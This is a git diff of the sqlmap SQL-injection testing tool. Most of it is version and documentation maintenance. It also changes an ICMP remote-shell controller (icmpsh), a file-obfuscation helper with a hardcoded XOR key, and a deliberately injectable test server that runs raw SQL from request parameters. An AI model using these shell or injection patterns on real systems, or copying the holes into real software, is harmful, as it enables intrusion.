</test>
|
||||
|
||||
@@ -588,7 +588,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -610,7 +609,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -631,7 +629,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -652,7 +649,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -674,7 +670,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -696,7 +691,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1506,7 +1500,7 @@
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries)</title>
|
||||
<title>MySQL < 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
|
||||
<stype>5</stype>
|
||||
<level>4</level>
|
||||
<risk>2</risk>
|
||||
@@ -1521,7 +1515,7 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version><= 5.0.11</dbms_version>
|
||||
<dbms_version>< 5.0.12</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1638,7 +1632,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1861,7 +1854,7 @@
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL <= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
|
||||
<title>MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>4</level>
|
||||
<risk>2</risk>
|
||||
@@ -1876,7 +1869,7 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version><= 5.0.11</dbms_version>
|
||||
<dbms_version>< 5.0.12</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1936,7 +1929,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,8 @@
|
||||
# Version 1.4 (2020-01-01)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
|
||||
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
|
||||
|
||||
# Version 1.3 (2019-01-05)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||
|
||||
BIN
doc/FAQ.pdf
BIN
doc/FAQ.pdf
Binary file not shown.
BIN
doc/README.pdf
BIN
doc/README.pdf
Binary file not shown.
@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
|
||||
Sherif El-Deeb, <archeldeeb(at)gmail.com>
|
||||
* for reporting a minor bug
|
||||
|
||||
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
|
||||
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
|
||||
|
||||
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
|
||||
* for suggesting good features
|
||||
|
||||
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
|
||||
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
|
||||
* for contributing a Portuguese translation of README.md
|
||||
|
||||
Francesco Marano, <francesco.mrn24(at)gmail.com>
|
||||
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
|
||||
|
||||
Ahmad Maulana, <matdhule(at)gmail.com>
|
||||
* for contributing a tamper script halfversionedmorekeywords.py
|
||||
|
||||
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
|
||||
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
|
||||
* for reporting a minor bug
|
||||
|
||||
Henri Salo <henri(at)nerv.fi>
|
||||
* for a donation
|
||||
|
||||
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
|
||||
* for reporting a minor bug
|
||||
|
||||
|
||||
84
doc/translations/README-fa-IR.md
Normal file
84
doc/translations/README-fa-IR.md
Normal file
@@ -0,0 +1,84 @@
|
||||
# sqlmap 
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
|
||||
|
||||
<div dir=rtl>
|
||||
|
||||
|
||||
|
||||
برنامه `sqlmap`، برنامهی منبع باز هست که برای تست نفوذ پذیزی دربرابر حملههای احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری میکند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی میباشد. همچنین داری طیف گستردهای از اسکریپت ها میباشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر میکند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر میکند.
|
||||
|
||||
|
||||
عکس
|
||||
----
|
||||
|
||||
|
||||
<div dir=ltr>
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
<div dir=rtl>
|
||||
|
||||
برای دیدن کردن از [مجموعهی از اسکریپتها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) میتوانید از ویکی دیدن کنید.
|
||||
|
||||
|
||||
نصب
|
||||
----
|
||||
|
||||
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
|
||||
|
||||
|
||||
طرز استفاده
|
||||
----
|
||||
|
||||
|
||||
برای گرفتن لیست ارگومانهای اساسی میتوانید از دستور زیر استفاده کنید:
|
||||
|
||||
|
||||
|
||||
<div dir=ltr>
|
||||
|
||||
|
||||
```
|
||||
python sqlmap.py -h
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<div dir=rtl>
|
||||
|
||||
|
||||
برای گرفتن لیست تمامی ارگومانهای میتوانید از دستور زیر استفاده کنید:
|
||||
|
||||
<div dir=ltr>
|
||||
|
||||
|
||||
```
|
||||
python sqlmap.py -hh
|
||||
```
|
||||
|
||||
|
||||
<div dir=rtl>
|
||||
|
||||
|
||||
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) میتوانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه میشود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
|
||||
|
||||
|
||||
لینکها
|
||||
----
|
||||
|
||||
|
||||
* خانه: http://sqlmap.org
|
||||
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
|
||||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
|
||||
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||
* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
|
||||
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
|
||||
|
||||
Imagens
|
||||
----
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
"""
|
||||
beep.py - Make a beep sound
|
||||
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
"""
|
||||
cloak.py - Simple file encryption/compression utility
|
||||
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -19,28 +19,26 @@ from optparse import OptionParser
|
||||
|
||||
if sys.version_info >= (3, 0):
|
||||
xrange = range
|
||||
ord = lambda _: _
|
||||
|
||||
def hideAscii(data):
|
||||
retVal = b""
|
||||
for i in xrange(len(data)):
|
||||
value = data[i] if isinstance(data[i], int) else ord(data[i])
|
||||
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
|
||||
KEY = b"Beeth7hoyooleeF0"
|
||||
|
||||
return retVal
|
||||
def xor(message, key):
|
||||
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
|
||||
|
||||
def cloak(inputFile=None, data=None):
|
||||
if data is None:
|
||||
with open(inputFile, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
return hideAscii(zlib.compress(data))
|
||||
return xor(zlib.compress(data), KEY)
|
||||
|
||||
def decloak(inputFile=None, data=None):
|
||||
if data is None:
|
||||
with open(inputFile, "rb") as f:
|
||||
data = f.read()
|
||||
try:
|
||||
data = zlib.decompress(hideAscii(data))
|
||||
data = zlib.decompress(xor(data, KEY))
|
||||
except Exception as ex:
|
||||
print(ex)
|
||||
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
||||
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
|
||||
|
||||
def main():
|
||||
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version='0.1')
|
||||
parser = OptionParser(usage=usage, version='0.2')
|
||||
|
||||
try:
|
||||
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
"""
|
||||
dbgtool.py - Portable executable to ASCII debug script converter
|
||||
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
Binary file not shown.
@@ -76,60 +76,63 @@ def main(src, dst):
|
||||
decoder = ImpactDecoder.IPDecoder()
|
||||
|
||||
while True:
|
||||
cmd = ''
|
||||
try:
|
||||
cmd = ''
|
||||
|
||||
# Wait for incoming replies
|
||||
if sock in select.select([sock], [], [])[0]:
|
||||
buff = sock.recv(4096)
|
||||
# Wait for incoming replies
|
||||
if sock in select.select([sock], [], [])[0]:
|
||||
buff = sock.recv(4096)
|
||||
|
||||
if 0 == len(buff):
|
||||
# Socket remotely closed
|
||||
sock.close()
|
||||
sys.exit(0)
|
||||
if 0 == len(buff):
|
||||
# Socket remotely closed
|
||||
sock.close()
|
||||
sys.exit(0)
|
||||
|
||||
# Packet received; decode and display it
|
||||
ippacket = decoder.decode(buff)
|
||||
icmppacket = ippacket.child()
|
||||
# Packet received; decode and display it
|
||||
ippacket = decoder.decode(buff)
|
||||
icmppacket = ippacket.child()
|
||||
|
||||
# If the packet matches, report it to the user
|
||||
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
|
||||
# Get identifier and sequence number
|
||||
ident = icmppacket.get_icmp_id()
|
||||
seq_id = icmppacket.get_icmp_seq()
|
||||
data = icmppacket.get_data_as_string()
|
||||
# If the packet matches, report it to the user
|
||||
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
|
||||
# Get identifier and sequence number
|
||||
ident = icmppacket.get_icmp_id()
|
||||
seq_id = icmppacket.get_icmp_seq()
|
||||
data = icmppacket.get_data_as_string()
|
||||
|
||||
if len(data) > 0:
|
||||
sys.stdout.write(data)
|
||||
if len(data) > 0:
|
||||
sys.stdout.write(data)
|
||||
|
||||
# Parse command from standard input
|
||||
try:
|
||||
cmd = sys.stdin.readline()
|
||||
except:
|
||||
pass
|
||||
# Parse command from standard input
|
||||
try:
|
||||
cmd = sys.stdin.readline()
|
||||
except:
|
||||
pass
|
||||
|
||||
if cmd == 'exit\n':
|
||||
return
|
||||
if cmd == 'exit\n':
|
||||
return
|
||||
|
||||
# Set sequence number and identifier
|
||||
icmp.set_icmp_id(ident)
|
||||
icmp.set_icmp_seq(seq_id)
|
||||
# Set sequence number and identifier
|
||||
icmp.set_icmp_id(ident)
|
||||
icmp.set_icmp_seq(seq_id)
|
||||
|
||||
# Include the command as data inside the ICMP packet
|
||||
icmp.contains(ImpactPacket.Data(cmd))
|
||||
# Include the command as data inside the ICMP packet
|
||||
icmp.contains(ImpactPacket.Data(cmd))
|
||||
|
||||
# Calculate its checksum
|
||||
icmp.set_icmp_cksum(0)
|
||||
icmp.auto_checksum = 1
|
||||
# Calculate its checksum
|
||||
icmp.set_icmp_cksum(0)
|
||||
icmp.auto_checksum = 1
|
||||
|
||||
# Have the IP packet contain the ICMP packet (along with its payload)
|
||||
ip.contains(icmp)
|
||||
# Have the IP packet contain the ICMP packet (along with its payload)
|
||||
ip.contains(icmp)
|
||||
|
||||
try:
|
||||
# Send it to the target host
|
||||
sock.sendto(ip.get_packet(), (dst, 0))
|
||||
except socket.error as ex:
|
||||
sys.stderr.write("'%s'\n" % ex)
|
||||
sys.stderr.flush()
|
||||
try:
|
||||
# Send it to the target host
|
||||
sock.sendto(ip.get_packet(), (dst, 0))
|
||||
except socket.error as ex:
|
||||
sys.stderr.write("'%s'\n" % ex)
|
||||
sys.stderr.flush()
|
||||
except:
|
||||
break
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) < 3:
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Removes trailing spaces from blank lines inside project files
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Stress test against Python3
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Removes duplicate entries in wordlist like files
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# sudo pip install modernize
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'"
|
||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'"
|
||||
|
||||
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -132,13 +132,13 @@ To get a list of basic options and switches use:
|
||||
|
||||
::
|
||||
|
||||
python sqlmap.py -h
|
||||
sqlmap -h
|
||||
|
||||
To get a list of all options and switches use:
|
||||
|
||||
::
|
||||
|
||||
python sqlmap.py -hh
|
||||
sqlmap -hh
|
||||
|
||||
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
|
||||
get an overview of sqlmap capabilities, list of supported features and
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,20 +3,24 @@
|
||||
"""
|
||||
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
||||
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import json
|
||||
import re
|
||||
import sqlite3
|
||||
import sys
|
||||
import threading
|
||||
import traceback
|
||||
|
||||
if sys.version_info >= (3, 0):
|
||||
from http.client import FOUND
|
||||
PY3 = sys.version_info >= (3, 0)
|
||||
UNICODE_ENCODING = "utf-8"
|
||||
DEBUG = False
|
||||
|
||||
if PY3:
|
||||
from http.client import INTERNAL_SERVER_ERROR
|
||||
from http.client import NOT_FOUND
|
||||
from http.client import OK
|
||||
@@ -28,7 +32,6 @@ if sys.version_info >= (3, 0):
|
||||
else:
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||
from BaseHTTPServer import HTTPServer
|
||||
from httplib import FOUND
|
||||
from httplib import INTERNAL_SERVER_ERROR
|
||||
from httplib import NOT_FOUND
|
||||
from httplib import OK
|
||||
@@ -81,7 +84,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
|
||||
try:
|
||||
HTTPServer.finish_request(self, *args, **kwargs)
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
if DEBUG:
|
||||
traceback.print_exc()
|
||||
|
||||
class ReqHandler(BaseHTTPRequestHandler):
|
||||
def do_REQUEST(self):
|
||||
@@ -95,48 +99,87 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
self.send_response(INTERNAL_SERVER_ERROR)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
|
||||
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if hasattr(self, "data"):
|
||||
params.update(parse_qs(self.data))
|
||||
if self.data.startswith('{') and self.data.endswith('}'):
|
||||
params.update(json.loads(self.data))
|
||||
elif self.data.startswith('<') and self.data.endswith('>'):
|
||||
params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
|
||||
else:
|
||||
params.update(parse_qs(self.data))
|
||||
|
||||
for name in self.headers:
|
||||
params[name.lower()] = self.headers[name]
|
||||
|
||||
if "cookie" in params:
|
||||
for part in params["cookie"].split(';'):
|
||||
part = part.strip()
|
||||
if '=' in part:
|
||||
name, value = part.split('=', 1)
|
||||
params[name.strip()] = unquote_plus(value.strip())
|
||||
|
||||
for key in params:
|
||||
if params[key]:
|
||||
if params[key] and isinstance(params[key], (tuple, list)):
|
||||
params[key] = params[key][-1]
|
||||
|
||||
self.url, self.params = path, params
|
||||
|
||||
if self.url == '/':
|
||||
if "id" not in params:
|
||||
self.send_response(FOUND)
|
||||
self.send_header("Connection", "close")
|
||||
self.send_header("Location", "/?id=1")
|
||||
self.end_headers()
|
||||
else:
|
||||
|
||||
if not any(_ in self.params for _ in ("id", "query")):
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
|
||||
else:
|
||||
code, output = OK, ""
|
||||
|
||||
try:
|
||||
|
||||
if self.params.get("echo", ""):
|
||||
output += "%s<br>" % self.params["echo"]
|
||||
|
||||
with _lock:
|
||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", ""))
|
||||
if "query" in self.params:
|
||||
_cursor.execute(self.params["query"])
|
||||
elif "id" in self.params:
|
||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||
results = _cursor.fetchall()
|
||||
|
||||
output = "<b>SQL results:</b>\n"
|
||||
output += "<table border=\"1\">\n"
|
||||
for row in results:
|
||||
output += "<tr>"
|
||||
for value in row:
|
||||
output += "<td>%s</td>" % value
|
||||
output += "</tr>\n"
|
||||
output += "</table>\n"
|
||||
output += "<b>SQL results:</b><br>\n"
|
||||
|
||||
if results:
|
||||
output += "<table border=\"1\">\n"
|
||||
|
||||
for row in results:
|
||||
output += "<tr>"
|
||||
for value in row:
|
||||
output += "<td>%s</td>" % value
|
||||
output += "</tr>\n"
|
||||
|
||||
output += "</table>\n"
|
||||
else:
|
||||
output += "no results found"
|
||||
|
||||
output += "</body></html>"
|
||||
except Exception as ex:
|
||||
code = INTERNAL_SERVER_ERROR
|
||||
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
|
||||
|
||||
self.wfile.write(output.encode("utf8"))
|
||||
self.send_response(code)
|
||||
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.send_header("Connection", "close")
|
||||
|
||||
if self.raw_requestline.startswith(b"HEAD"):
|
||||
self.send_header("Content-Length", str(len(output)))
|
||||
self.end_headers()
|
||||
else:
|
||||
self.end_headers()
|
||||
self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
|
||||
else:
|
||||
self.send_response(NOT_FOUND)
|
||||
self.send_header("Connection", "close")
|
||||
@@ -145,12 +188,37 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
self.do_REQUEST()
|
||||
|
||||
def do_PUT(self):
|
||||
self.do_REQUEST()
|
||||
|
||||
def do_HEAD(self):
|
||||
self.do_REQUEST()
|
||||
|
||||
def do_POST(self):
|
||||
length = int(self.headers.get("Content-length", 0))
|
||||
if length:
|
||||
data = self.rfile.read(length)
|
||||
data = unquote_plus(data.decode("utf8"))
|
||||
data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
|
||||
self.data = data
|
||||
elif self.headers.get("Transfer-encoding") == "chunked":
|
||||
data, line = b"", b""
|
||||
count = 0
|
||||
|
||||
while True:
|
||||
line += self.rfile.read(1)
|
||||
if line.endswith(b'\n'):
|
||||
if count % 2 == 1:
|
||||
current = line.rstrip(b"\r\n")
|
||||
if not current:
|
||||
break
|
||||
else:
|
||||
data += current
|
||||
|
||||
count += 1
|
||||
line = b""
|
||||
|
||||
self.data = data.decode(UNICODE_ENCODING, "ignore")
|
||||
|
||||
self.do_REQUEST()
|
||||
|
||||
def log_message(self, format, *args):
|
||||
@@ -160,7 +228,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
|
||||
global _server
|
||||
try:
|
||||
_server = ThreadingServer((address, port), ReqHandler)
|
||||
print("[i] running HTTP server at '%s:%d'" % (address, port))
|
||||
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
|
||||
_server.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
_server.socket.close()
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
